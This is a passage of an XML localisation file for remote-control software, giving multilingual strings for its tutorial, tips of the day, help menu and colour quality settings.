<en>Remote sound</en>
<de>Tonübertragung vom Ferncomputer</de>
<es>Sonido remoto</es>
<fr>Son à distance</fr>
<it>Audio remoto</it>
<ru>Удаленный звук</ru>
<ja>リモート サウンド</ja>
<zh>远程声音</zh>
<ko>원격 사운드</ko>
<hu>Távhang</hu>
<pt-br>Som remoto</pt-br>
<nl>Extern geluid</nl>
</msg>
<msg name="TUTORIAL_STATE_SOUND_TEXT1">
<en>Remote sound allows you to hear all the message alerts, music etc from the remote computer. Change the volume, quality and source of remote sound here.</en>
</msg>
<msg name="TUTORIAL_STATE_SOUND_TEXT2">
<en>...</en>
</msg>
<msg name="TUTORIAL_STATE_TOOLS">
<en>Several tools are available during remote control. Draw on the remote screen using the Whiteboard. Have a text chat with the person sitting in front of the remote computer. Use the Laser pointer to help with presentations. Magnify an area of your desktop if you are not viewing at 100% zoom. Click here to continue...</en>
</msg>
<msg name="TUTORIAL_STATE_TOOLS_TITLE">
<en>Tools</en>
<de>Extras</de>
<es>Herramientas</es>
<fr>Outils</fr>
<it>Strumenti</it>
<ru>Сервис</ru>
<ja>ツール</ja>
<ko>도구</ko>
<hu>Eszközök</hu>
<pt-br>Ferramentas</pt-br>
<zh>工具</zh>
<nl>Hulpprogramma's</nl>
</msg>
<msg name="TUTORIAL_STATE_TOOLS_BUBBLE">
<en>Tools</en>
<de>Extras</de>
<es>Herramientas</es>
<fr>Outils</fr>
<it>Strumenti</it>
<ru>Сервис</ru>
<ja>ツール</ja>
<ko>도구</ko>
<hu>Eszközök</hu>
<pt-br>Ferramentas</pt-br>
<zh>工具</zh>
<nl>Hulpprogramma's</nl>
</msg>
<msg name="TUTORIAL_STATE_TOOLS_TEXT1">
<en>Use the screen like a whiteboard. Swap instant messages with Chat. Draw attention to screen areas with Laser Pointer. Magnify an area of your desktop.</en>
</msg>
<msg name="TUTORIAL_STATE_TOOLS_TEXT2">
<en>...</en>
</msg>
<msg name="TUTORIAL_STATE_CONNECTION_OPTIONS">
<en>Control connection and security settings on-the-fly by switching features on and off.Click here to continue...</en>
</msg>
<msg name="TUTORIAL_STATE_CONNECTION_OPTIONS_TITLE">
<en>Connection Options</en>
<de>Verbindungsoptionen</de>
<es>Opciones de conexión</es>
<fr>Options de connexion</fr>
<it>Opzioni di connessione</it>
<ru>Опции подключения</ru>
<ja>接続オプション</ja>
<ko>연결 옵션</ko>
<hu>Kapcsolat-beállítások</hu>
<pt-br>Opções de conexão</pt-br>
<zh>连接选项</zh>
<nl>Verbindingsopties</nl>
</msg>
<msg name="TUTORIAL_STATE_CONNECTION_OPTIONS_BUBBLE">
<en>Connection Options</en>
<de>Verbindungsoptionen</de>
<es>Opciones de conexión</es>
<fr>Options de connexion</fr>
<it>Opzioni di connessione</it>
<ru>Опции подключения</ru>
<ja>接続オプション</ja>
<ko>연결 옵션</ko>
<hu>Kapcsolat-beállítások</hu>
<pt-br>Opções de conexão</pt-br>
<zh>连接选项</zh>
<nl>Verbindingsopties</nl>
</msg>
<msg name="TUTORIAL_STATE_CONNECTION_OPTIONS_TEXT1">
<en>Control connection and security settings on-the-fly by switching features on and off.</en>
</msg>
<msg name="TUTORIAL_STATE_CONNECTION_OPTIONS_TEXT2">
<en>...</en>
</msg>
<msg name="TUTORIAL_STATE_QUICKLINK">
<en>Get instant, one-click access to your favorite features by adding QuickLinks to the toolbar. Add one by selecting an item from the drop down menu...</en>
</msg>
<msg name="TUTORIAL_STATE_QUICKLINK_TITLE">
<en>Customize Toolbar</en>
<fr>Personnaliser la barre d'outils</fr>
<es>Personalizar barra de herramientas</es>
<de>Symbolleiste anpassen</de>
<it>Personalizza barra degli strumenti</it>
<nl>Werkbalk aanpassen</nl>
<pt-br>Personalizar a barra de ferramentas</pt-br>
<zh>自定义工具栏</zh>
<ru>Настроить панель инструментов</ru>
<ja>ツールバーをカスタマイズする</ja>
<ko>사용자 정의 도구 모음</ko>
<hu>Eszköztár testre szabása</hu>
<en-gb>Customize Toolbar</en-gb>
</msg>
<msg name="TUTORIAL_STATE_QUICKLINK_BUBBLE">
<en>Customize Toolbar</en>
<fr>Personnaliser la barre d'outils</fr>
<es>Personalizar barra de herramientas</es>
<de>Symbolleiste anpassen</de>
<it>Personalizza barra degli strumenti</it>
<nl>Werkbalk aanpassen</nl>
<pt-br>Personalizar a barra de ferramentas</pt-br>
<zh>自定义工具栏</zh>
<ru>Настроить панель инструментов</ru>
<ja>ツールバーをカスタマイズする</ja>
<ko>사용자 정의 도구 모음</ko>
<hu>Eszköztár testre szabása</hu>
<en-gb>Customize Toolbar</en-gb>
</msg>
<msg name="TUTORIAL_STATE_QUICKLINK_TEXT1">
<en>Get instant, one-click access to your favorite features by adding QuickLinks to the toolbar. </en>
</msg>
<msg name="TUTORIAL_STATE_QUICKLINK_TEXT2">
<en>Add one now by selecting an item from the drop down menu.</en>
</msg>
<msg name="TUTORIAL_STATE_NEW_QUICKLINK">
<en>You just added this button to QuickLinks.Click here to continue...</en>
</msg>
<msg name="TUTORIAL_STATE_NEW_QUICKLINK_TEXT1">
<en>You have just finished the step-by-step tutorial. We hope you found it useful. You may view the tutorial at any time by selecting it from the help menu.</en>
</msg>
<msg name="TUTORIAL_STATE_NEW_QUICKLINK_TEXT2">
<en>...</en>
</msg>
<msg name="TUTORIAL_STATE_NEW_QUICKLINK_TITLE">
<en>The End</en>
</msg>
<msg name="TUTORIAL_STATE_NEW_QUICKLINK_BUBBLE">
<en>...</en>
</msg>
<msg name="TUTORIAL_EXIT_TITLE">
<en>Confirm Exit</en>
</msg>
<msg name="TUTORIAL_EXIT_TEXT">
<en>You are closing the tutorial. It will automatically start with your next remote control session.\nYou may also view the tutorial at any time by going to the help menu in the top-right of the remote control toolbar.</en>
</msg>
<msg name="TUTORIAL_EXIT_BUTTON">
<en>Close and Don't Show Again</en>
</msg>
<msg name="ACTION_SENSITIVE_HINTS_0">
<en>Move and hold your mouse\nover here to view the toolbar</en>
<es>Mueva y mantenga el ratón\npor aquí para visualizar la barra de herramientas</es>
<fr>Déplacez votre souris\nici pour afficher la barre d'outils</fr>
<it>Spostare qui il mouse\nper visualizzare la barra degli strumenti</it>
<ru>Переместите сюда указатель мыши и удерживайте\nего на месте для отображения панели инструментов</ru>
<ja>マウスをこの上に移動すると\nツールバーが表示されます</ja>
<zh>移动并将鼠标\n放到此处可查看工具栏</zh>
<ko>메뉴 막대를 보려면 여기에\n마우스를 이동한 상태로 계십시오.</ko>
<hu>Az eszköztár megtekintéséhez\naz egérmutatót ide kell helyezni és itt kell tartani</hu>
<pt-br>Mova e passe o mouse\naqui para exibir a barra de ferramentas.</pt-br>
<nl>Beweeg uw muis\nen houdt hem hier om de werkbalk te zien.</nl>
<en-gb>Move and hold your mouse\nover here to view the toolbar</en-gb>
</msg>
<msg name="ACTION_SENSITIVE_HINTS_1">
<en>You may pin the toolbar to your screen so that it is always visible, even in full screen mode</en>
<es>Puede fijar la barra de herramientas en la pantalla para que siempre esté visible, incluso en el modo de pantalla completa</es>
<de>Bewegen Sie Ihre Maus hierher,\num die Symbolleiste zu sehen</de>
<fr>Vous pouvez ancrer la barre d'outils à l'écran afin qu'elle reste visible, y compris en mode plein écran</fr>
<it>È possibile bloccare la barra degli strumenti sullo schermo in modo che sia sempre visibile, anche in modalità Schermo intero</it>
<ru>Можно закрепить панель инструментов на экране, чтобы она отображалась всегда, даже в полноэкранном режиме</ru>
<ja>ツールバーが (全画面表示モードの場合を含めて) 常に表示されるように、画面にツールバーを固定できます</ja>
<zh>您可以将工具栏固定到屏幕中以使它永远可见,即使在全屏模式下</zh>
<ko>메뉴 막대를 화면에 고정하여 전체 화면에서도 항상 보이게 할 수 있습니다.</ko>
<hu>Az eszköztár a képernyőhöz rögzíthető, így mindig, még teljes képernyős üzemmódban is látható marad</hu>
<pt-br>Você pode fixar a barra de ferramentas na tela de modo que ela fique sempre visível, mesmo no modo de tela inteira.</pt-br>
<nl>U kunt de werkbalk op uw scherm vastzetten zodat deze altijd zichtbaar is, ook in de modus volledig scherm.</nl>
<en-gb>You may pin the toolbar to your screen so that it is always visible, even in full screen mode</en-gb>
</msg>
<msg name="ACTION_SENSITIVE_HINTS_2">
<en>Click here to go full screen</en>
<es>Haga clic aquí para ir a pantalla completa</es>
<de>Für Vollbildmodus hier klicken</de>
<fr>Cliquez ici pour passer en mode plein écran</fr>
<it>Fare clic qui per passare alla modalità Schermo intero</it>
<ru>Щелкните здесь для перехода в полноэкранный режим</ru>
<ja>全画面表示モードにするには、ここをクリックします</ja>
<zh>单击此处进入全屏显示</zh>
<ko>전체 화면으로 이동하려면 여기를 클릭하십시오.</ko>
<hu>Teljes képernyős megjelenítéshez kattintson ide</hu>
<pt-br>Para entrar no modo de tela inteira, clique aqui.</pt-br>
<nl>Klik hier voor de modus volledig scherm</nl>
<en-gb>Click here to go full screen</en-gb>
</msg>
<msg name="TIP_OF_DAY_0">
<en>You can switch remote sound on and off by clicking on the speaker icon.</en>
<es>Puede activar y desactivar el sonido remoto haciendo clic en el icono del altavoz.</es>
<de>Durch Anklicken des Lautsprechersymbols können Sie die Tonübertragung von Ferncomputern ein- und ausschalten.</de>
<fr>Activez ou désactivez le son distant en cliquant sur l'icône de haut-parleur.</fr>
<it>È possibile attivare e disattivare l'audio remoto facendo clic sull'icona dell'altoparlante.</it>
<ru>Воспроизведение звука с удаленного компьютера можно включить или отключить, щелкнув значок громкоговорителя.</ru>
<ja>スピーカーのアイコンをクリックすると、リモート サウンドのオンとオフを切り替えることができます。</ja>
<zh>单击扬声器图标,您可以打开和关闭远程声音。</zh>
<ko>스피커 아이콘을 클릭하여 원격 사운드를 켜거나 끌 수 있습니다.</ko>
<hu>A távoli hang a hangszóró ikonra kattintva kapcsolható be és ki.</hu>
<pt-br>Você pode ativar e desativar o som remoto clicando no ícone de alto-falante.</pt-br>
<nl>U kunt extern geluid in- en uitschakelen door op het luidsprekerpictogram te klikken.</nl>
<en-gb>You can switch remote sound on and off by clicking on the speaker icon.</en-gb>
</msg>
<msg name="TIP_OF_DAY_1">
<en>Get instant, one-click access to your favorite features by adding QuickLinks to the toolbar. </en>
<es>Obtenga acceso instantáneo con un solo clic a sus funciones favoritas. Para ello, añada QuickLinks a la barra de herramientas.</es>
<de>Wenn Sie QuickLinks zu Ihrer Symbolleiste hinzufügen, können Sie mit nur einem Mausklick sofort auf Ihre Lieblingsfunktionen zugreifen.</de>
<fr>Profitez d'un accès en un clic à vos fonctions préférées en ajoutant des Liens rapides à la barre d'outils.</fr>
<it>Accedi alle tue funzioni preferite in un clic aggiungendo Collegamenti rapidi alla barra degli strumenti.</it>
<ru>Получите мгновенный доступ одним щелчком к своим избранным функциям, добавив на панель инструментов быстрые ссылки.</ru>
<ja>ツールバーに クイックリンク を追加すると、ワンクリックでお気に入りの機能にすばやくアクセスできます。</ja>
<zh>将 QuickLink 添加到工具栏,可以快速的一次单击访问您常用的功能。</zh>
<ko>메뉴 막대에 퀵링크를 추가하면 마우스를 한 번 클릭하여 즉시 즐겨찾기 기능에 액세스할 수 있습니다.</ko>
<hu>A Gyorshivatkozásokat az eszköztárhoz adva, a kedvenc funkciók azonnal, egyetlen kattintással elérhetők.</hu>
<pt-br>Obtenha acesso instantâneo, com um clique, aos seus recursos favoritos, adicionando QuickLinks à barra de ferramentas.</pt-br>
<nl>Krijg direct, met één klik, toegang tot uw favoriete functies door QuickLinks aan de werkbalk toe te voegen.</nl>
<en-gb>Get instant, one-click access to your favorite features by adding QuickLinks to the toolbar.</en-gb>
</msg>
<msg name="TIP_OF_DAY_2">
<en>Get detailed support and view helpful movies that you can easily access by clicking on the help button.</en>
<es>Obtenga una atención detallada y visualice películas útiles a las que puede acceder fácilmente al hacer clic en el botón de ayuda.</es>
<de>Klicken Sie einfach auf die Hilfeschaltfläche, um Zugang zu umfassendem Support und hilfreichen Videos zu erhalten.</de>
<fr>Obtenez une assistance détaillée et affichez des vidéos utiles, facilement accessibles en cliquant sur le bouton d'aide.</fr>
<it>Ottieni supporto dettagliato e visualizza utili filmati facilmente accessibili facendo clic sul pulsante ?.</it>
<ru>Получите детальную поддержку и просмотрите полезные видеоролики, просто нажав кнопку справки.</ru>
<ja>[ヘルプ] ボタンをクリックすると、詳細なサポートや役に立つムービーを簡単に参照できます。</ja>
<zh>单击帮助按钮,可获得详细的支持并查看您可轻松访问的有用短片。</zh>
<ko>도움말 단추를 클릭하여 상세한 지원 정보를 얻고 유용한 동영상을 쉽게 볼 수 있습니다.</ko>
<hu>A részletes segítség és a hasznos, útmutató videók könnyen elérhetők a súgó gombra való kattintással.</hu>
<pt-br>Clicando no botão de ajuda, obtenha suporte detalhado e exiba filmes úteis que você pode acessar facilmente.</pt-br>
<nl>Krijg gedetailleerde ondersteuning en bekijk nuttige clips door heel eenvoudig op de Help-knop te klikken.</nl>
<en-gb>Get detailed support and view helpful movies that you can easily access by clicking on the help button.</en-gb>
</msg>
<msg name="TIP_OF_DAY_3">
<en>Control which connection alerts you see when remote controling a computer by clicking here.</en>
<es>Controle las alertas de conexión que desea ver al controlar de manera remota un ordenador. Para ello, haga clic aquí.</es>
<de>Wenn Sie hier klicken, können Sie steuern, welche Verbindungsmeldungen Sie während der Fernsteuerung eines Computers sehen.</de>
<fr>Cliquez ici pour paramétrer les alertes de connexion qui sont affichées lorsque vous contrôlez un ordinateur distant.</fr>
<it>Controlla quali avvisi di connessione vengono visualizzati durante il controllo remoto di un computer facendo clic qui.</it>
<ru>Щелкните здесь, чтобы управлять отображением уведомлений о соединении при удаленном управлении компьютером.</ru>
<ja>コンピュータのリモート制御時にどの接続アラートを表示するかを制御するには、ここをクリックします。</ja>
<zh>单击此处,控制在远程控制计算机时您可看见的连接警报。</zh>
<ko>여기를 클릭하여 컴퓨터를 원격 제어할 때 나타나는 연결 경고를 제어하십시오.</ko>
<hu>Ide kattintva beállítható, hogy a számítógép távvezérlése során mely kapcsolat-riasztások jelenjenek meg.</hu>
<pt-br>Clicando aqui, controle quais alertas de conexão você verá quando estiver controlando remotamente um computador.</pt-br>
<nl>Bepaal welke verbindingswaarschuwingen u ziet als u een computer op afstand bestuurt, door hier te klikken.</nl>
<en-gb>Control which connection alerts you see when remote controling a computer by clicking here.</en-gb>
</msg>
<msg name="TIP_OF_DAY_4">
<en>Check your connection details by clicking here.</en>
<es>Para comprobar sus datos de conexión, haga clic aquí.</es>
<de>Klicken Sie hier, um Detailinformationen zu Ihrer Verbindung zu sehen.</de>
<fr>Cliquez ici pour afficher les détails de connexion.</fr>
<it>Verifica i dettagli della connessione facendo clic qui.</it>
<ru>Щелкните здесь, чтобы просмотреть сведения о соединении.</ru>
<ja>接続の詳細を確認するには、ここをクリックします。</ja>
<zh>单击此处检查您的连接详细信息。</zh>
<ko>여기를 클릭하여 연결 세부 사항을 확인하십시오.</ko>
<hu>Ide kattintva ellenőrizhetők a kapcsolat részletes adatai.</hu>
<pt-br>Verifique os detalhes da sua conexão clicando aqui.</pt-br>
<nl>Controleer uw verbindingsgegevens door hier te klikken.</nl>
<en-gb>Check your connection details by clicking here.</en-gb>
</msg>
<msg name="TIP_OF_DAY_5">
<en>If you do several simultaneous remote control sessions, you can quickly check which computer you are connected to.</en>
<es>Si realiza varias sesiones de control remoto simultáneas, podrá comprobar rápidamente a qué ordenador está conectado.</es>
<de>Wenn Sie mehrere Fernsteuerungssitzungen gleichzeitig ausführen, können Sie rasch überprüfen, mit welchem Computer Sie gerade verbunden sind.</de>
<fr>Si vous menez plusieurs sessions de contrôle à distance en même temps, vous pouvez voir à quel ordinateur vous êtes connecté.</fr>
<it>Se si eseguono numerose sessioni di controllo remoto simultanee, è possibile verificare rapidamente a quale computer si è connessi.</it>
<ru>Если вы выполняете несколько одновременных сеансов удаленного управления, можно быстро проверить, с каким компьютером установлено соединение.</ru>
<ja>複数のリモート制御セッションを同時に行う場合に、どのコンピュータに接続しているかをすばやく確認できます。</ja>
<zh>当您同时进行多个远程控制会话时,可迅速检查您连接的计算机。</zh>
<ko>동시에 여러 개의 원격 제어 세션을 사용하는 경우 어떤 컴퓨터에 연결되었는지 빠르게 확인할 수 있습니다.</ko>
<hu>Egyszerre több távvezérlési munkamenetet futtatása esetén, gyorsan ellenőrizhető, melyik számítógéphez van csatlakoztatva.</hu>
<pt-br>Se você efetuar várias sessões simultâneas de controle remoto, poderá verificar rapidamente a qual computador está conectado.</pt-br>
<nl>Wanneer u verschillende simultane sessies voor besturing op afstand uitvoert, kunt u heel snel controleren met welke computer u verbonden bent.</nl>
<en-gb>If you do several simultaneous remote control sessions, you can quickly check which computer you are connected to.</en-gb>
</msg>
<msg name="TIP_OF_DAY_6">
<en>Double-clicking on an empty area of the toolbar will quickly take you to full screen.</en>
<es>Al hacer doble clic en una zona vacía de la barra de herramientas irá rápidamente al modo de pantalla completa.</es>
<de>Wenn Sie auf eine leere Stelle in der Symbolleiste doppelklicken, wird der Vollbildmodus sofort aktiviert.</de>
<fr>Faites un double clic sur une zone vide de la barre d'outils pour passer rapidement en mode plein écran.</fr>
<it>Facendo doppio clic un una zona vuota della barra degli strumenti, si passa alla modalità Schermo intero.</it>
<ru>Двойной щелчок в пустой области панели инструментов приводит к быстрому переключению в полноэкранный режим.</ru>
<ja>ツールバーの空いている場所をダブルクリックすると、すぐに全画面表示モードになります。</ja>
<zh>双击工具栏的空白处可迅速进入全屏显示。</zh>
<ko>메뉴 막대의 빈 영역을 두 번 클릭하면 빠르게 전체 화면으로 전환할 수 있습니다.</ko>
<hu>Az eszköztár üres területére duplán kattintva, a program teljes képernyős megjelenítésre vált át.</hu>
<pt-br>Clicando duas vezes em uma área vazia da barra de ferramentas, você será rapidamente levado à tela inteira.</pt-br>
<nl>Dubbel-klik in een leeg gebied van de werkbalk om naar de modus volledig scherm te gaan.</nl>
<en-gb>Double-clicking on an empty area of the toolbar will quickly take you to full screen.</en-gb>
</msg>
<msg name="HELP_MENU">
<en>Help Menu</en>
<es>Menú de ayuda</es>
<de>Hilfemenü</de>
<fr>Menu Aide</fr>
<it>Menu ?</it>
<ru>Меню справки</ru>
<ja>ヘルプ メニュー</ja>
<zh>帮助菜单</zh>
<ko>도움말 메뉴</ko>
<hu>Súgó menü</hu>
<pt-br>Menu Ajuda</pt-br>
<nl>Help-menu</nl>
<en-gb>Help Menu</en-gb>
</msg>
<msg name="TIPOFDAY_MENUITEM">
<en>Show Tip Of The Day</en>
<es>Ver el Truco del día</es>
<de>Tipp des Tages anzeigen</de>
<fr>Afficher l'astuce du jour</fr>
<it>Mostra il suggerimento del giorno</it>
<ru>Показать совет дня</ru>
<ja>ワンポイントを表示</ja>
<zh>显示每日提示</zh>
<ko>오늘의 정보 표시</ko>
<hu>Napi tipp megjelenítése</hu>
<pt-br>Mostrar dica do dia</pt-br>
<nl>Tip van de dag tonen</nl>
<en-gb>Show Tip Of The Day</en-gb>
</msg>
<msg name="ACTION_HINTS_MENUITEM">
<en>Show Action-Sensitive Hints</en>
<es>Ver Consejos sobre acciones</es>
<de>Aktionsbezogene Hinweise anzeigen</de>
<fr>Afficher les astuces contextuelles</fr>
<it>Mostra suggerimenti sensibili alle azioni</it>
<ru>Показывать контекстные подсказки</ru>
<ja>操作依存のヒントを表示</ja>
<zh>显示操作相关提示</zh>
<ko>동작에 맞는 힌트 표시</ko>
<hu>Tevékenységfüggő tippek megjelenítése</hu>
<pt-br>Mostrar dicas de ação</pt-br>
<nl>Handeling-gebonden tips tonen</nl>
<en-gb>Show Action-Sensitive Hints</en-gb>
</msg>
<msg name="TUTORIAL_MENUITEM">
<en>Show Tutorial</en>
<es>Ver Tutoriales</es>
<de>Lernprogramm anzeigen</de>
<fr>Afficher le didacticiel</fr>
<it>Mostra l'esercitazione</it>
<ru>Показать учебник</ru>
<ja>チュートリアルを表示</ja>
<zh>显示教程</zh>
<ko>튜토리얼 표시</ko>
<hu>Oktatóanyag megjelenítése</hu>
<pt-br>Mostrar tutorial</pt-br>
<nl>Korte handleiding tonen</nl>
<en-gb>Show Tutorial</en-gb>
</msg>
<msg name="VIEW_FLASH_CLIPS_MENUITEM">
<en>View Flash based Quick Clips...</en>
<es>Visualizar Videoclips basados en Flash...</es>
<de>Kurze Flash-Videoclips ansehen...</de>
<fr>Afficher les clips rapides au format Flash...</fr>
<it>Visualizza i brevi video Flash...</it>
<ru>Просмотреть короткие флэш-ролики...</ru>
<ja>Flash ベースのクイック ビデオを表示する...</ja>
<zh>观看快速剪辑 Flash...</zh>
<ko>빠른 클립 기반의 플래시 보기...</ko>
<hu>Flash alapú gyorsklipek megtekintése...</hu>
<pt-br>Exibir cliques rápidos em Flash...</pt-br>
<nl>Korte Flash-videoclips weergeven...</nl>
<en-gb>View Flash based Quick Clips...</en-gb>
</msg>
<msg name="VIEW_QUICK_CLIPS_MENUITEM">
<en>Watch Quick Clips...</en>
<es>Ver Videoclips...</es>
<de>Kurze Videoclips ansehen...</de>
<fr>Regarder les clips rapides...</fr>
<it>Guarda i video...</it>
<ru>Просмотреть короткие ролики...</ru>
<ja>クイック ビデオを見る...</ja>
<zh>观看快速剪辑...</zh>
<ko>빠른 클립 보기...</ko>
<hu>Gyorsklipek megtekintése...</hu>
<pt-br>Assistir a clipes rápidos...</pt-br>
<nl>Korte videoclips bekijken...</nl>
<en-gb>Watch Quick Clips...</en-gb>
</msg>
<msg name="VIEW_ONLINE_HELP_MENUITEM">
<en>View Online help...</en>
<es>Ver la ayuda en línea...</es>
<de>Online-Hilfe anzeigen...</de>
<fr>Afficher l'aide en ligne...</fr>
<it>Visualizza la guida in linea...</it>
<ru>Просмотреть онлайновую справку...</ru>
<ja>オンライン ヘルプを参照する...</ja>
<zh>查看联机帮助...</zh>
<ko>온라인 도움말 보기...</ko>
<hu>Online súgó megtekintése...</hu>
<pt-br>Exibir ajuda online...</pt-br>
<nl>Online Help weergeven...</nl>
<en-gb>View Online help...</en-gb>
</msg>
</cat>
<cat name="G2UI">
<cat name="COLORPANEL">
<msg name="PANELNAME">
<en>Color Quality Settings</en>
<de>Einstellung der Farbqualität</de>
<es>Ajustes de la calidad de color</es>
<fr>Paramètres de qualité des couleurs</fr>
<it>Impostazioni qualità del colore</it>
<ru>Настройки качества цвета</ru>
<ja>カラー クオリティの設定</ja>
<ko>색 품질 설정</ko>
<hu>Színminőség-beállítások</hu>
<pt-br>Configurações de qualidade de cor</pt-br>
<zh>色质设置</zh>
<nl>Instellingen voor kleurenkwaliteit</nl>
</msg>
<msg name="AUTO">
<en>Automatically adjust color settings</en>
<de>Farbeinstellungen automatisch anpassen</de>
<es>Establecer automáticamente los ajustes de color</es>
<fr>Régler automatiquement les paramètres de couleur</fr>
<it>Regola automaticamente le impostazioni di colore</it>
<ru>Автоматическая настройка цвета</ru>
<ja>カラー設定を自動的に調整する</ja>
<ko>색상 설정을 자동으로 조정합니다.</ko>
<hu>Színbeállítások automatikus beállítása</hu>
<pt-br>Ajustar configurações de cor automaticamente</pt-br>
<zh>自动调整颜色设置</zh>
<nl>Kleureninstellingen automatisch aanpassen</nl>
</msg>
<msg name="FASTESTSPEED">
<en>Fastest speed</en>
<de>Höchtgeschwindigkeit</de>
<es>Velocidad máxima</es>
<fr>Vitesse la plus rapide</fr>
<it>Velocità più alta</it>
<ru>Самое высокой быстродействие</ru>
<ja>最高速度</ja>
<ko>가장 빠른 속도</ko>
<hu>Leggyorsabb sebesség</hu>
<pt-br>Velocidade mais rápida</pt-br>
<zh>最快的速度</zh>
<nl>Hoogste snelheid</nl>
</msg>
<msg name="BESTQUALITY">
<en>Best Image Quality</en>
<de>Max. Bildqualität</de>
<es>Calidad de imagen máxima</es>
<fr>Meilleure qualité d'image</fr>
<it>Qualità immagine migliore</it>
<ru>Лучшее качество изображений</ru>
<ja>最高画像品質</ja>
<ko>최상의 이미지 품질</ko>
<hu>Legjobb képminőség</hu>
<pt-br>Melhor qualidade de imagem</pt-br>
<zh>最佳图像质量</zh>
<nl>Beste beeldkwaliteit</nl>
</msg>
<msg name="ADVANCED">
<en>Advanced</en>
<de>Erweitert</de>
<es>Avanzado</es>
<fr>Avancé</fr>
<it>Avanzate</it>
<ru>Дополнительно</ru>
<ja>詳細</ja>
<ko>고급</ko>
<hu>Speciális</hu>
<pt-br>Avançado</pt-br>
<zh>高级</zh>
<nl>Geavanceerd</nl>
</msg>
<msg name="COLORQTITLE">
<en>Color Quality</en>
<es>Calidad de color</es>
<fr>Qualité d'affichage</fr>
<de>Farbqualität</de>
<it>Qualità del colore</it>
<ru>Качество цветопередачи</ru>
<ja>色の品質</ja>
<zh>色质</zh>
<ko>색 품질</ko>
<en-gb>Colour Quality</en-gb>
<hu>Színminőség</hu>
<pt-br>Qualidade de cor</pt-br>
<nl>Kleurenkwaliteit</nl>
</msg>
<msg name="COLORQTEXT">
<en>You can adjust the color quality that you see during a remote control session to suit the tasks you are performing.</en>
<de>Sie können die Farbqualität während einer Fernsitzung den Aufgaben anpassen, die Sie gerade durchführen.</de>
<es>Puede ajustar la calidad del color durante una sesión de control remoto para que se ajuste a las tareas que esté llevando a cabo.</es>
<fr>Vous pouvez régler la qualité des couleurs que vous voyez lors d'une session de contrôle à distance pour convenir aux tâches que vous réalisez.</fr>
<it>È possibile regolare la qualità del colore visualizzato durante una sessione di controllo remoto per adattarla alle attività svolte.</it>
<ru>Во время сеанса удаленного управления Вы можете менять настройки цвета в соответствии с выполняемой задачей.</ru>
<ja>リモート制御のセッション中に、行っているタスクに最適になるようカラー クオリティを調整できます。</ja>
<ko>원격 제어 세션 중 나타나는 색 품질을 현재 작업에 맞게 조정할 수 있습니다.</ko>
<hu>A távoli vezérlés ideje alatt az elvégzett műveleteknek megfelelően módosíthatja az Ön által látott kép színminőségét.</hu>
<pt-br>Você pode ajustar a qualidade da cor vista durante uma sessão de controle remoto para que ela seja apropriada às tarefas que você está executando.</pt-br>
<zh>您可以调整在远程控制会话中看到的色质以适应您正执行的任务。</zh>
<nl>U kunt de kwaliteit aanpassen van de kleuren die tijdens een sessie voor besturing op afstand worden weergegeven, zodat deze zijn afgestemd op de taken die u uitvoert.</nl>
</msg>
<msg name="COLORDTITLE">
<en>Color Depth</en>
<de>Farbtiefe</de>
<es>Profundidad del color</es>
<fr>Profondeur des couleurs</fr>
<it>Profondità del colore</it>
<ru>Глубина цвета</ru>
<ja>カラー深度</ja>
<ko>색 농도</ko>
<hu>Színmélység</hu>
<pt-br>Profundidade da cor</pt-br>
<zh>色深</zh>
<nl>Kleurendiepte</nl>
</msg>
<msg name="COLORDTEXT">
<en>Changing the color depth on the target computer will reduct the amount of data transferred during remote control. This is useful to squeeze the most out of a slow connection.</en>
<de>Ist dieses Kontrollkästchen aktiviert, werden Objekte, die in die Zwischenablage eines Computers kopiert wurden, automatisch in die Zwischenablage des anderen Computers kopiert.</de>
<es>Cambiar la profundidad del color en el ordenador de destino reducirá la cantidad de datos que se transfieran durante el control remoto. Es muy útil cuando se quiere aprovechar al máximo una conexión lenta.</es>
<fr>La modification de la profondeur des couleurs sur l'ordinateur cible réduira la quantité des données transférées lors du contrôle à distance. Ceci est utile pour transférer le plus de données possible en cas de connexion lente.</fr>
<it>Modificando la profondità del colore sul computer di destinazione si ridurrà la quantità di dati trasferiti durante il controllo remoto. Questa modifica è utile per sfruttare al massimo una connessione lenta.</it>
<ru>Изменение глубины цвета на целевом компьютере приведет к уменьшению количества данных, передаваемых при удаленном управлении Такое вытеснение данных бывает полезным при медленном соединении.</ru>
<ja>チェックすると、あるコンピュータのクリップボードにコピーされたアイテムは自動的にほかのコンピュータのクリップボードにもコピーされます。</ja>
<ko>대상 컴퓨터의 색 농도를 변경하면 원격 제어 중 전송되는 데이터 양이 줄어듭니다. 이것은 연결 속도 문제를 해결하는 데 상당히 유용합니다.</ko>
<hu>Távoli vezérlés közben a célszámítógép színmélységének átállítása csökkenti az átvitt adat mennyiségét. Ez nagyon hasznos, hogy minél többet ki lehessen hozni egy lassú kapcsolatból.</hu>
<pt-br>A alteração da profundidade da cor no computador de destino reduzirá a quantidade de dados transferidos durante o controle remoto. Isso é útil para obter o máximo de uma conexão lenta.</pt-br>
<zh>更改目标计算机上的色深将缩减远程控制期间的数据传输量。这对于最大限度的利用慢速连接非常有用。</zh>
<nl>Als u de kleurendiepte op de doelcomputer verlaagt, worden tijdens de besturing op afstand minder gegevens overgedragen. Op deze manier kunt u een trage verbinding optimaal benutten.</nl>
</msg>
<msg name="INACTIVEGREY">
<en>Greyscale when inactive</en>
<de>Graustufen, wenn inaktiv</de>
<es>Escala de grises si está inactivo</es>
<fr>Echelle de gris lorsque inactif</fr>
<it>Scala di grigi se inattivo</it>
<ru>Изображение в оттенках серого, если экран неактивен</ru>
<ja>無効時にグレースケールにする</ja>
<zh>不活动时呈灰度显示</zh>
<ko>비활성화 시 그레이스케일</ko>
<hu>Szürkeárnyalatos, ha inaktív</hu>
<pt-br>Escala de cinza quanto inativo</pt-br>
<nl>Grijstinten wanneer niet actief</nl>
</msg>
<msg name="INACTIVEGREY.TIPTITLE">
<en>Greyscale when inactive</en>
<de>Graustufen, wenn inaktiv</de>
<es>Escala de grises si está inactivo</es>
<fr>Echelle de gris lorsque inactif</fr>
<it>Scala di grigi se inattivo</it>
<ru>Изображение в оттенках серого, если экран неактивен</ru>
<ja>無効時にグレースケールにする</ja>
<zh>不活动时呈灰度显示</zh>
<ko>비활성화 시 그레이스케일</ko>
<hu>Szürkeárnyalatos, ha inaktív</hu>
<pt-br>Escala de cinza quanto inativo</pt-br>
<nl>Grijstinten wanneer niet actief</nl>
</msg>
<msg name="INACTIVEGREY.TIPTEXT">
<en>If the remote screen becomes inactive, then the display will switch to greyscale. The original color settings will be restored when the screen becomes activated again.</en>
